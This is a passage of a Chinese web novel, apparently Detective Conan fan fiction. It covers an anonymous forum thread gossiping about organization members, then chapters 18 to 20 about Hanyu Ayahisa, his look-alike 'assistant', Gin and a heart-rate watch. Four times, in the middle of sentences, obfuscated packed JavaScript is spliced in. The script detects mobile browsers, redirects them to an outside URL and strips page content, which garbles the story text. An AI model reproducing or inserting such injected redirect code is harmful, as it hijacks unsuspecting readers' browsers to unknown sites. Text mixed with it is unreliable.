3L(楼主)(匿名中):对对对,我还挺好奇这事是不是真的,但原帖主直接提了上头那位,说话又太……我觉得在原贴下面讨论风险太大,索性再开一个贴。 4L(匿名中):说这个我可就感兴趣了,正好任务完成了,今天就住这吧。 5L(匿名中):原帖主那说话方式确实有点……说不定人已经…… 6L(楼主)(匿名中):先别说那个了,有人知道这事是真是假吗? 7L(匿名中):我觉得是真的吧……毕竟原帖主缺心眼成那样,不像是编的。 8L(匿名中):我也觉得…… 9L(匿名中):我也觉得…… 10L(匿名中):我也觉得…… 11L(楼主)(匿名中):不是,没人亲眼看到过这件事吗? 12L(匿名中):没看到,我还不够格参加那场会议。 13L(匿名中):我也是。 14L(匿名中):别说了,我之前甚至不知道这个会议。 15L(匿名中):原来搞来搞去,最后一堆人中是那个缺心眼的原帖主地位最高啊…… 16L(楼主)(匿名中):不是都还没确定这事是真是假吗,说不定是编的呢? 17L贝尔摩德:是真的哦~ 18L(匿名中):! 19L(匿名中):!! 20L(匿名中):??? 21L(匿名中):我靠,见到活的贝尔摩德大人了! 22L(匿名中):跑出去看了眼,这帖子也变成热帖了呢,楼主你想默默讨论的愿望估计得破灭了。 23L(楼主)(匿名中):管他热不热帖的呢,我要和贝尔摩德大人合影。 24L(匿名中):合影+1 25L(匿名中):合影+2 26L(匿名中):合影+3 27L(匿名中):等等,先别急着合影了,你们就没注意贝尔摩德大人说的话吗。 28L(匿名中):对哦……贝尔摩德大人都说这事是真的了,@楼主,楼主你怎么看。 29L(楼主)(匿名中):什么怎么看,贝尔摩德大人说的那肯定就是真的啊。 30L(匿名中):态度变得还真快……嘴脸。 31L(匿名中):(引用‘原帖主那说话方式确实有点……说不定人已经……’) 什么我已经怎么了,我还好好的啊。 32L(匿名中):? 33L(匿名中):啊?? 34L(匿名中):什么玩意,真是原帖主? 35L(匿名中):什么原帖主,是说我发的那个帖子吗? 36L(匿名中):就是啃嘴巴那个帖子啊。 37L(楼主)(匿名中):等等,帖主你这次不要再直接提上头那位了!!!我只是想八卦一下,暂时还没有去死的打算! 38L(匿名中):为什么会有去死的打算啊?我确实是发那个帖子的人,不过为什么上次讨论到一半你们就全不见了? 39L(匿名中):哈哈哈…… 40L(匿名中):哈哈哈哈…… 41L(匿名中):其实当时是突然发现我的最低任务限度还没完成来着,赶着去做任务了。 42L(匿名中):嗯……其实我也是这样的。 43L(匿名中):我也是+1。 44L(匿名中):没错,就是这样的。 45L(匿名中):原来这么多人都最后一天才完成最低任务数量吗…… 46L(匿名中):……呵呵是这样的,没错。 47L(匿名中):这样说来,啃嘴哥你很早就完成任务要求了? 48L(匿名中):啃嘴哥是什么意思?任务要求确实很早完成了,那么点任务跟着老大一天就能完成。 49L(匿名中):啊? 50L(匿名中):什么玩意,一天? 51L(匿名中):我好像不认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930399|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识字了…… 52L(匿名中):等等,啃嘴哥你在组织中地位怎么样啊。 53L(匿名中):不是,为什么叫我啃嘴哥啊?地位不算高也不算低吧…… 54L(匿名中):那你老大地位是不是很高啊? 55L(匿名中):那确实是。 56L(匿名中):我觉得…… 57L(匿名中):我也觉得…… 58L(匿名中):什么啊?你们觉得什么? 59L(匿名中):没什么啃嘴哥你去做任务吧,你应该挺忙的。 60L(匿名中):你是怎么知道我要去干活的? 61L(匿名中):猜的猜的,去忙吧去忙吧。 62L(匿名中):好吧,那我走了…… 63L(匿名中):忙点好啊,忙点好啊…… 64L(匿名中):没想到这么缺心眼的人还能跟在那位身边做事啊。 65L(匿名中):说不定对于那些大人物来说,这种人才最令人放心呢? 66L(匿名中):这么看来,啃嘴哥说的那事应该就是真的,那两位还真有点不好说的关系啊…… 67L(匿名中):话说之前不是说那位不看论坛可以直接说代号吗?现在怎么又都不说了。 68L(匿名中):这不是怕啃嘴哥又来看这个帖子吗…… 69L(匿名中):啊?我怎么没看懂,那两位有什么关系? 70L(匿名中):其实是用嘴巴给对方拍蚊子的关系。 71L(匿名中):楼上在说什么鬼啊哈哈哈哈。 72L(匿名中):这么说来,这里面水还挺深的。 73L(匿名中):什么水深,说来听听。 74L(匿名中):现在上头那位是第二位,要知道啃嘴哥的老大在第一位在的时候就在组织了,据说还挺忠心耿耿,现在又和第二位有这种关系…… 75L(楼主)(匿名中):我靠别说了!我真的不想不明不白地没了啊啊啊啊—— ——此贴已被楼主删除—— 18.第 18 章 过了十几秒,却仍然不见回答。 羽生绫久脸上那点微薄的笑意迅速褪下,化为了一片冰冷。 “啊……累的都忘记要开保险了。” ‘咔哒’一声轻响,在空旷的地下室中久久盘旋不去。 羽生绫久舌尖抵了抵上颚,握着枪的手又用了点力,迫使面前的人抬起了头,“别耽误我时间。” ‘助理’终于有了动作。 他举起双手,随意的晃了晃,颇带着点漫不经心的意味,“别这样,我可也是个受害者……能把枪挪开点吗,有点不太习惯这样呢。” 随着他开口的一瞬间,原本一板一眼的壳子碎裂,一股莫名熟悉的感觉涌上了‘助理’的周身。 羽生绫久眼瞳动了动,目光落到了‘助理’不知何时带上了虚伪笑意的脸庞,眼眸弯弯,如同一只老奸巨猾的狐狸一样。 ……跟那些令人讨厌的政客一模一样。 羽生绫久轻啧一声,没有把枪挪开,反而加重了力道,“回答我的问题。” ‘助理’原本举起的双手往两边一摊,作出几分无奈之状,“我是真不知道,突然就成了个被使唤的,这个被使唤的还和我长的一模一样……您说,这是不是件怪事?” 一模一样……? 羽生绫久皱了皱眉,手中枪口重重往后一推,迫使‘助理’后退了几步后将枪身垂了下来,“管好你的眼睛。” ‘助理’稍一弯眸,带的那张原本素净的脸无端添上几分古怪的风流之意,嘴上狡辩道:“只是对美的欣赏而已。” ‘助理’眼中确实没什么令人反感的的东西,就连那点探究也直接坦坦荡荡地披露了出来,不然羽生绫久早就一枪崩过去了。 如果‘助理’真的是那边的人,那他确实暂时不能死。 至少不能死在这边。 但往人身上添个洞的事……添个洞但不致死的人体部位可多的很。 羽生绫久思绪飞快的转了几圈,决定下回到那边去把他那能干的秘书捞回来,找个能干又不惹事的秘书很难的。 如果秘书还在这边,不至于看到有个和自己长的一模一样的人顶替了自己还不冒出来。 ……虽然有人替自己工作是挺爽的。 所以秘书大概率是不知道怎么回事跑到那边了。 看来这边的人一旦到那边,那边对应的人也会到这边来? 但如果真是如此,自己是怎么回事?那边的‘羽生绫久’是和自己一样可以来回,还是…… 羽生绫久越想心越沉,烦躁地舔了舔牙。 ‘助理’看着眼前的男人不知从何处摸了个烟盒出来,单手一抖便露出了里面整齐码着的烟。 羽生绫久将烟放入嘴中,盯着眼前笑眯眯的人看了一会儿,眼中情绪不明。 过了一会儿,他才咬着烟蒂含糊开口:“我会想办法把你送回去,但相应的,你也别给我惹麻烦。” ‘助理’脸上的笑容都变得深了几许,“当然,我会很安分的。” 羽生绫久两指夹着被咬出深深痕迹的烟,偏头将其丢入垃圾桶,意有所指:“你看着可不是个安分的人。” “没办法,要是你一不高兴就不想帮我了,那我花了大半辈子汲汲营营的东西不就全都泡汤了?”‘助理’耸了耸肩,面上一副诚恳之色。 话是这么说,羽生绫久却从他的话中感受不到什么情绪起伏。 一派虚情假意。 不过这也不重要。 无论这人在那边是什么身份,在这里都掀不起什么大风浪。 羽生绫久低声嗤笑一声,“行了,最近找个宾馆住,我叫你时就赶过来。” 他顿了顿,突然想起了什么。 羽生绫久转身绕了几圈到了自己的车前,拿出车钥匙解锁后从扶手箱里的一堆卡中随意抽出了张卡丢给了‘助理’,“你这几天的开支就用这张卡,密码是六个零。” ‘助理’视线在羽生绫久手中的车钥匙上一扫而过,迅速伸手接住了卡。 他两指夹着卡轻佻的在脸旁贴了贴,拉长了腔调,“亏了您的福,我和这具身体这几天算是能过的不错了。” 羽生绫久没有回话,懒洋洋抬了抬手,终止了这场谈话。 ‘助理’也没有逗留的意思,含着笑朝羽生绫久颔首示意后便干脆利落地转身离开了。 看着‘助理’的身影消失在视野中,羽生绫久收回了目光。 看来下回去那边有必要查查这人的身份了。 羽生绫久在原地垂眸思考了一会儿,倘若自言自语般道:“下去找人盯着,必要时留条命就行。” 身后的某处黑暗猛然晃动了一下,没过几秒一切又归于沉寂。 . 深夜。 羽生绫久坐在床边,从发尾淌下的水珠在浴袍上砸出一个个深色的圆形痕迹。 他随手擦着半湿不干的头发,阖眼回想起下午与琴酒分别时的情景。 既然打算要试着从‘琴酒’那里套取情报,那就不能把琴酒也带过去。 但以琴酒现在的态度来看,羽生绫久最好要给出一个合适的理由。 找什么理由呢…… 数个借口从脑海中飘过,又被一个个否决。 羽生绫久靠在椅背上,头疼地叹了口气。 说什么晚上突然有事这种蹩脚的理由肯定瞒不过琴酒,给他派任务把人支开又无异于明目张胆地对人说滚远点…… 想到这里时羽生绫久思绪突然一顿。 等等,为什么自己不能直接跟琴酒说清楚这件事? 先不说琴酒没理由不同意这件事,就算他不同意,难不成他还能管着他不让干? 羽生绫久细想之下底气愈发充足,直接忽略了心底飞快掠过的一丝诡异的心虚。 带着这充足的底气,羽生绫久侧头望着驾驶位上的琴酒的侧脸,在那一瞬间腾然出了神,话在嘴边又咽了回去。 黄灯转为红色。 琴酒踩下刹车,将车速缓缓降了下来。 白色长发模模糊糊地掩住了轮廓分明的侧脸,蔓过被黑色包裹的胸部,又顺着腰腹之处蜿蜒而下,垂至腰间,将那鲜明的攻击性都冲的淡了几许,平添几分说不清道不明的意味。 许是感受到旁边长久传来的视线却仍不见话语,琴酒微微偏头,露出锋利的眉眼。 “今天我要自己去那边。” 坐在副驾驶上的羽生绫久原本在脑海中打好的草稿一乱,一句话便脱口而出。 说罢,他下意识观察起琴酒脸上的表情。 ——琴酒脸上没什么表情。 他带着黑色皮质手套的指尖点了点方向盘,垂眸思索着什么。 银白的长睫遮住了他眼中的神色。 红灯微微闪了几闪,化为了绿色。 琴酒收回目光踩下油门,直接点了点头,算是对于这件事的回应,“我会在原地方等你。” 羽生绫久紧急咽下了刚要说出口的理由,舌头打了个转,原本要讲的话化为了一句干巴巴的“哦”。 他扭头看向车窗外不断飞速变化的景物,眼睛微微眯起。 就这点反应? . 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935718|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不巧的是,今晚羽生绫久并没有到那边去。 目前来看,到那边去的时间点都是傍晚时分,而回来的时间点却全天都有。 羽生绫久在确定没有到那边后便第一时间给琴酒发了消息。 他将头发擦得差不多后把毛巾往柜子上一丢,呈‘大’字型向后倒在了柔软的床上,盯着天花板,眼神放空。 不是,就这点反应? 他拿起手机,那句稍显冷淡的回复映入眼帘。 “好”。 羽生绫久磨了磨牙,更加不爽了。 他和琴酒之间的关系根本没有多深,琴酒也没什么资格来管他,所以反应平淡点也正常…… 个鬼啊。 羽生绫久越想越来气。 他从来不是个为难自己的人,想不通便直接不想,拿起手机就打算发消息问问当事人怎么想的。 在编辑好消息,准备点下发送的按钮时,羽生绫久指尖一顿。 一个稍显古怪的念头突然跃进了脑海。 ……琴酒那反应怎么有点像知道他要去干什么? 思绪变转,羽生绫久干脆退出了编辑消息的页面,思索起这个念头的可能性。 羽生绫久并没有告诉琴酒多少关于前几次去那边的细节,有意隐瞒了下来,而琴酒也默认般从来没有追问过。 羽生绫久也并不认为与琴酒相处的这么点时间就足以让琴酒凭这么点细节就能够猜出他的想法。 ……也许就是琴酒并不关心他要去干什么? 就当是这样吧。 羽生绫久叹了口气,丢开手机,打消了发消息的念头。 自己也是跟被下了降头一样,像个情窦初开的毛头小子,以后还是注意点吧。 他暂且不去想另一个可能性。 . 几端浮沉间,羽生绫久陷入梦境。 ——如果这能被称为梦境的话。 “安排好了?动作还挺快。” 羽生绫久被困于这具身体内,意识清楚却无法控制这句身体做出什么动作,只能像个局外人一般看着故事发展。 ‘自己’穿着一件蓝色针织衫站在阳台上,低头听着电话那头的声音。 电话那头传来的声音分明很清晰,羽生绫久却怎么也听不懂在说什么。 他听见‘自己’轻笑一声,话语中却带着点凉意,“行了,那老头子也不是第一天盯着我了,也不差这一件事。” 电话那头似乎又说了什么。 ‘自己’的声音总算变得真心实意了点。 “他以后常驻日本工作?听起来是件好事。” 短短几句话,电话便被挂断了。 ‘自己’仍然站在阳台上,不知道在想些什么。 还带着点凉意的微风拂过,吹起发丝擦过脸旁,带起丝丝痒意。 突然,‘自己’转身进了屋,步伐不停地进了洗漱间,来到了镜子面前。 羽生绫久顺着‘自己’的眼睛望去,那分明就是和他一张一模一样的脸,只不过似乎要更青涩点。 稍显散乱的额发遮住了看不清神色的红瞳。 羽生绫久看着镜子中的‘自己’,忍不住在心中嘀咕: 原来没有经过上班折磨的自己能这么……嫩啊。 ‘自己’低头捧水沾湿了脸,激起几分冰冷之意。 梦里似乎是刚入春不久? 羽生绫久正思索着梦中的世间点,却突然看到‘自己’抬起了头望着镜面。 沾了水的额发被拨开,红瞳中竟显出几分笑意。 “你好?” 19.第 19 章 嗯? 羽生绫久望向镜中‘自己’的眼瞳,除了自己的身影之外什么也没有。 还没来得及深思,‘自己’就开始了自言自语:“也不知道你什么时候能看到……虽说看不到也没什么大事。” ‘自己’的脸色不知为何显得有些苍白,瞳中赤色却显得愈发浓郁,几乎像是盏盏赤红的鬼火,浓的几乎要滴出血来。 “他说,我要是有什么话留给你就在这里讲出来,不过想来想去好像也没什么能跟你讲的,关键的也不能告诉你,至于其他的……不至于我失了个忆就变蠢了吧。” 镜中的‘自己’扬了扬唇,不知道想了些什么,眼中显出几分恶劣的笑意,“对了,要是遇上什么对胃口的人……” 话说到一半突然一顿。 ‘自己’又轻声嘀咕了句什么,声音很小,但架不住羽生绫久就在这具身体中,“算了,这个说了估计也不会听。” 听到一半被卡住的羽生绫久在心中默默磨了磨牙。 “时间也快到了,要是发现了什么老鼠,不要急着出手啊。” 随着尾音落下,原本光滑的镜面倘若溅入了几滴水珠,荡开圈圈波纹。 那几圈波纹很快皱成一起,扭成一团混乱不堪的线团,分割开了镜中人神色不明的脸。 羽生绫久从床上翻身坐起,脸色苍白的急喘了几口气。 从有记忆开始,羽生绫久就没有做过梦,当然也有可能是做过醒来之后忘得一干二净。 不管是哪种情况,这个连细枝末节之处都清清楚楚的梦就显得分外诡异了。 他深吸了口气,将急促的心跳稳下来后开始思考这个梦,或者说‘从前的自己’给出了什么信息。 最后发现——比起得到的信息,似乎是产生的疑惑更多。 羽生绫久:“……” 算了,有总比没有好。 假设这个梦不是什么阴谋论的话,就基本可以确定失忆是自己动的手了。 不能告诉自己关键信息……是要防止什么人从自己的记忆中知道什么吗? 可什么人能够做到这件事? 羽生绫久迅速回忆了一遍自己醒来后发生的事。 很快便确认自己的记忆没有出现可疑的断片,应该也就不存在被绑去催眠之类的事。 从科学方面说不通,那非科学方面呢? ……和让他到那边世界的人有关吗? 不过话又说回来,那‘自己’为什么又敢以梦的形式给他传递这么一些似是而非的信息,不担心这段做梦的记忆也被看到吗? 还是说这段记忆被施加了什么不科学的手段,不会被发现? 羽生绫久越想越头疼,短暂地思考起让自己再一次失忆的可能性。 手机屏幕突然一闪。 琴酒的名字在一片黑暗中亮起。 羽生绫久掐断思绪,拿起手机接通了电话。 电话那头却没有传来声音,只有呼啸的风声。 羽生绫久看了眼时间。 两点,显然不能算早,这个时间还在外面晃? 他也没出声,等着那边把事收拾完。 大概过了一分钟,‘砰’的一声在耳边炸响。 似乎是因为手机离枪支不算近,羽生绫久听到的枪声并不算太大。 过了两秒那边传来声音,“好了。” “这么晚还在做任务?”羽生绫久干脆又躺下来闭上了眼睛,就着那边的声音助眠。 悉悉索索的声音从那边传来,应该是琴酒在收拾什么东西。 他低哑的声音经过电流的传播显得有几分失真:“顺便。” 顺便?顺便什么。 羽生绫久打了个哈欠,跳过了这个话题,“打电话给我干什么。” 那边的风声变小了,轻微的‘哒哒’声出现,似乎是在下楼梯。 “你没回消息。” 什么消息一会儿不会就急着打电话? 羽生绫久睡意消了几分,拉出消息栏看了眼。 确实有一条琴酒发来的消息,但只有一个‘?’ 羽生绫久边发了个‘?’回去,边开口问道:“发个问号是什么意思。” 这个问题却没有得到回答,‘哒哒’的脚步声消失不见,化为了一阵细微的衣料摩擦声与浅淡的呼吸声。 羽生绫久目光落在这条消息发过来的时间上——正是五分钟前。 刚好是他醒来的时间。 羽生绫久眯了眯眼,按下了灯的开关,下床试着搜索起房间里的监视器来。 “不是监视器,”琴酒似乎知道他在干什么,突然开了口。 一无所获的羽生绫久回到床上,懒洋洋地哼笑一声:“那还能是什么?” 他突然想起了梦中‘自己’说的话,慢吞吞地开口:“是我以前给你的东西?” 电话那头的人似乎是没想到这个问题,一时沉默了下来,只余清浅的呼吸声。 羽生绫久也不急,听着那边呼呼的风声等着某人开口。 短暂的沉默过后,预料之中的答案传入耳中。 “是。” 羽生绫久无声地扬了扬唇。 脚步声又响了起来,电话那头的人再次开了口。 声调平缓,却似乎含着点细微的笑意。 “应该就在你那里。” 剩下的话不用说,羽生绫久也明白了他的意思。 ——要试着把它找出来吗? “等着。” 羽生绫久没有挂断电话,将手机丢到一旁,思考起能在自己眼皮子底下藏东西的地方。 客厅、厨房、洗漱间、卧室—— 次卧? 这间住宅有两间卧室,羽生绫久却几乎没有进过次卧,也从没有动过要去看看的念头。 又是自己搞得鬼? 念头一闪而过,羽生绫久朝着那间平时存在感稀薄的次卧走去。 次卧其实与主卧大小相差无已,只不过白日的采光要差上少许。 房间中只有黑白灰三种简单的色调,一眼望过去显得有些压抑。 摆设也与主卧别无二致,但莫名显得有些空荡荡的,没有什么生活痕迹——羽生绫久正是因为这一点才认为这间房没人用。 他的视线落在了浅灰色的床头柜上,走过去拉开一看,却是什么也没有。 羽生绫久眯了眯眼,伸手往上一探——摸到了一个被胶带黏在上方的物件。 羽生绫久:“……” 藏了,但藏得不怎么走心。 这估计也是之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946681|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的自己藏的,藏成这样估计知道会被找到,不然自己找不到的地方多的去了。 看来这是能被‘看到’的记忆。 羽生绫久顺着胶带的边缘一点一点将那东西取了下来。 ——是一只黑色的腕表。 表盘似乎要比寻常的大上少许,里面的指针‘咔哒咔哒’的走着,带来轻微的震感。 这只表……应该在哪里见过。 羽生绫久目光落在表盘中央多出的那个数字上。 在他的注视下,那个数字从四十七跳到了四十九。 这是什么? 四十九、四十七、五十…… 羽生绫久侧着头看了一会儿,心中有了大概想法,拎着这只表回到了卧室。 手机依旧亮着,页面上是到现在都还没有被挂断的通话。 那边正好传来了‘咔哒’的关门声。 羽生绫久出声:“到了?” 表盘上的数字依旧像之前一样稳定的变动着。 “嗯。”电话那端的琴酒短促的应了一声,将手机放到了玄关处的柜台上,不急不缓的脱下了黑色风衣,带起一阵衣料摩擦间的沙沙作响。 “找到了?” 电话那头又传来琴酒平缓的声音。 虽是问句,尾音的语调却没有一丝一毫的上扬,仿佛对回答有着十足的把握。 羽生绫久仰躺在床上,看着这只表在半空中晃来晃去,折射出一点细碎的光,“你那边是多少?” 琴酒闻言停下了手中的动作,抬手看了眼左手手腕上的表,“五十三。” 还真是心率。 估计是两人身上都植了什么监测生命体征的芯片。 羽生绫久勾了勾唇,将表戴到了手腕上,看着平缓变动的数字低声道:“疯子。” 也不知道是在说谁。 . “不肯说?” 羽生绫久抿了口咖啡,垂眸看着高楼下来来往往的人群。 “是,威廉姆斯不肯直接说出施压的人是谁,只是暗示让我们查查源头。“ 源头? 羽生绫久皱了皱眉,想起了什么,“最开始被查出来有问题的是哪家公司。” 还没有等对面回答,他就自问自答道:“是菲比勒公司。” 威廉姆斯不会无缘无故这么说,应该是菲比勒公司出了什么事端,或者是公司中的人惹了什么事。 菲比勒公司,A国著名娱乐传媒公司。 怎么听着这么耳熟呢…… 羽生绫久思绪一顿,突然想起了某位著名谜语人。 “莎朗.温亚德是不是在这家公司里。” 这回电话那头倒是反应迅速:“是的。” 这事不会跟贝尔摩德有关吧。 羽生绫久叹了口气,开口道:“去查查莎朗.温亚德最近身边发生的大事,另外,给那位威廉姆斯透点好处作为感谢费吧。” 他声音顿了顿,过了一会儿才出声,语调平缓:“菲比勒公司就不错。” 电话被挂断。 羽生绫久垂眸思考了一会儿,往手机上输入一串数字,按下了拨打的选项。 ‘嘟’的一声,电话很快被接通。 那端的人语调轻快:“怎么了,boy? 20.第 20 章 贝尔摩德拨了拨几缕垂到胸前的金色卷发,朝着对面男人晃了晃手中亮起的手机。 男人迅速领会到了她的意思,忙不迭的点头。 贝尔摩德勾了勾红唇,拉开椅子走到了远离人群的露天阳台上,高跟鞋踏在地上发出清脆的响声。 她接通了电话,说出口的话已换了一种语言:“难得见你这个大忙人打电话过来,是有什么事吗?” 贝尔摩德那边的环境似乎不大方便…… 但这不在羽生绫久的关心范围内。 他坐回椅子上,双腿交叠,“你最近有没有惹到什么人。” 电话那端的人轻笑一声:“boy,说具体一点,你也知道我每天要和很多人打交道的。” 羽生绫久暂时没有当谜语人的心思,直截了当的点了出来:“菲比希的事和你有没有关系。” “啊……谁知道呢,”贝尔摩德倚着栏,点燃根香烟,烟雾袅袅升起。 她抬手将烟送入嘴中,眯眼看向远方,语调轻飘飘的:“也许有,也许没有,至少我不记得最近遇到的人有这种本事。” 看来如果真的和贝尔摩德有关系,那也是间接关系。 那位朝着IRS施压的高管,大概也是被求来帮忙的。 羽生绫久得到自己想要的信息后没有再浪费时间,丢下一句话后便挂断了电话。 毕竟让贝尔摩德说出最近出了什么事还不如自己查来的快。 “菲比希被送出去了。” 贝尔摩德听着手机中传来的忙音轻笑一声,按灭香烟,朝着那位被别家公司派来,直勾勾盯着她的男人走去。 羽生绫久挂断电话时正巧瞥见了屏幕上显示的星期一,顿感一阵郁闷。 又进入新的一周了,在组织那边挂名的白兰地又要找任务去凑数了。 郁闷的羽生绫久打开组织的内网,打算找找有没有能偷懒的任务。 逛了一圈发现那些本就少之又少的简单任务都被早早选走了。 看来组织内偷奸耍滑的人还是太多了,要好好整改。 一个漏都没捡到的羽生绫久冷静地想。 不过…… 他的目光落在波本威士忌,苏格兰威士忌,黑麦威士忌三人的任务记录上。 这一周才过了大半天,这三人就已经都完成了三四个任务,而且任务难度还都不低,速率几乎要和琴酒肩并肩。 羽生绫久默默看了看‘白兰地’下方那个硕大的零,莫名感到一阵心塞。 这就是有上进心的年轻人吗…… 但说实话真正这么有上进心的组织成员很少,而且在这些少之又少的人中还有大半是卧底。 这个说法乍听很地狱。 努力的人不一定是卧底,但卧底一定够努力。 那么在这三人中有几个是…… 羽生绫久的目光在三人的代号上一掠而过,转而又看向了那个巨大的零。 管他是不是卧底呢。 羽生绫久很清楚组织中现有的卧底绝对不在少数,但揪卧底是一件很麻烦的事,再加上这些卧底在某种意义上很好用,在他们没有暴露的情况下何必废大力气去抓他们呢? 就算真的有人暴露了,如果这人为组织贡献的利益足够大,甚至超过他造成的损失时,羽生绫久也不是不能睁一只眼闭一只眼。 当然,羽生绫久睁一只眼闭一只眼可不代表某些爱抓老鼠的人也不管。 话说回来,琴酒好像真的挺热衷于抓卧底来着…… 羽生绫久右手撑着脸,目光落到左手手腕上的腕表上,思绪逐渐放空再次飘到了昨晚的梦上。 ‘要是抓到了老鼠可别急着出手’是什么意思…… 羽生绫久只迷惑了一小会就略过了这句话。 毕竟能被自己逮住又直接解决掉的老鼠肯定是又废又没能力的老鼠,这种人对自己的计划也起不了什么作用,就算有用这种人也一抓一大把,很好替代。 因此羽生绫久心安理得的跳到了下一个疑点上。 ——‘他说我要是有什么话留给你就在这里讲出来’。 ‘他’是谁? 从‘自己’的话来看,这个梦应该是这个‘他’的功劳。 但这个梦多少带了点非科学的色彩,羽生绫久回想了一遍现在自己认识的人,觉得这个‘他’暂时应该不在这些人里。 不会组织以后还要朝着科学与非科学领域全面发展吧…… 羽生绫久头疼地想。 这时,手机屏幕上蹦了条信息出来。 羽生绫久目光落在来信人的名字上,挑了挑眉。 ——是黑羽快斗。 这孩子竟然真的会给自己发消息? 他还以为黑羽快斗收下自己的名片是意思意思呢。 发来的信息中并不是询问关于黑羽盗一的消息的,这也在羽生绫久意料之中。 毕竟自己只不过算个‘外人’,掺和到人家的家事里也不像话。 黑羽快斗提起了那天晚上遇上‘怪盗基德’的事,委婉地问了句这事有没有后续。 ……好奇心还挺重。 羽生绫久指尖一下一下的轻点着桌面,垂眸思考着怎么回信息。 小束昏黄的阳光从窗外映照而来,被长而密的睫毛挡住了去路,在眼窝处打下一片小小的阴影。 很快,他编辑好消息发了过去。 羽生绫久抬眼看了眼窗外的天色,给‘助理’发了条短信。 . “我来了。” ‘助理’反手关上了门,朝着羽生绫久打了个招呼。 羽生绫久看着‘助理’身上的衣服,挑了挑眉,阖上手中的文件夹,“看起来你过得还挺惬意。” ‘助理’耸了耸肩,抬手晃了晃手腕上的表,“毕竟是免费的钱,不花白不花。” 平心而论,‘助理’的眼光还挺不错,单看不怎么搭边的衣服与饰品穿在他身上却产生了奇妙的化学反应,个个都彰显出了配得起自身价位的质感。 只是与记忆中一板一眼的助理格格不入。 羽生绫久看着眼前莫名像只花孔雀的人,一言难尽地撇开眼,抬了抬下巴,“坐。” ‘助理’坐的地方离羽生绫久大概三四米远。 羽生绫久翻看着手中的资料,突然出声:“你们那边的乌丸集团掌权人是谁。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955263|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正在吃东西的‘助理’动作没有丝毫停顿,将葡萄丢进嘴中才开口:“不知道,没见过。” 羽生绫久视线从资料上挪开,望向沙发上的人。 感受到落到自己身上的视线,‘助理’翘起二郎腿,抽了张纸开始擦手,“真的不知道,乌丸集团是主攻医药方面的,我可不懂那块。” 意料之中。 羽生绫久也没指望能真的打听出什么,收回了目光。 洒进窗户的阳光一点一点变少,最后完全消失不见,归于沉寂。 夜幕降临。 羽生绫久拿起手机,看着突然多出的与‘怪盗基德’的消息栏以及其中毫无变化的内容,心情颇好地勾了勾唇。 ——猜对了。 在上一次来到这里时‘怪盗基德’就曾给他发过消息,当时羽生绫久就觉得有些奇怪。 并不是觉得消息内容有什么不对,而是收到消息的时间点让他觉得有些古怪。 要知道羽生绫久遇上‘怪盗基德’的那天和‘怪盗基德’给他发消息的那天晚上中间可是隔了几天。 怎么羽生绫久一来到这个世界,‘怪盗基德’就碰巧给他发了消息? 难道是‘怪盗基德’深思熟虑了几天后才决定给羽生绫久发消息,而这个深思熟虑后的时间点正好和羽生绫久到这边的那天晚上的时间点碰上了? 这个可能性不是没有,但羽生绫久并不这么觉得。 于是在上次收到‘怪盗基德’的消息后,他回了一条过去,大致意思就是自己现在抽不出空,明天再给他发消息商量这件事。 ‘怪盗基德’同意了。 现在已经离那天晚上过了几天,手机上却没有‘怪盗基德’发来的消息。 如果‘怪盗基德’真的发了消息,就算羽生绫久不在这边暂时收不到,那新消息也应该在消息栏出来的一瞬间也跟着跳出来,而不是像现在一样什么也没有。 在两边时间流速相同的条件下,发生了什么才会导致这种情况呢? 羽生绫久放下手机,朝着坐在沙发上的‘助理’说道:“看看回来了没有。” 原本打算像之前几次拎包走人的‘助理’微微一愣,迅速查了一遍关于自己的信息。 过了两分钟羽生绫久才听到‘助理’略微有些古怪的声音:“……还真回来了。” 羽生绫久退出电脑上的网站,删除记录后拎着西装外套站起身,“接下来就该你了,麻烦把我的助理找回来之后联系我,尽快。” ‘助理’略一思忖,大致明白了羽生绫久每天下午把自己叫过去是为了什么,想通之后忍不住真心实意地叹了口气:“要是下回你来了这边,能麻烦给我发个信息吗?” 他补充了一句:“我好离你远点。” 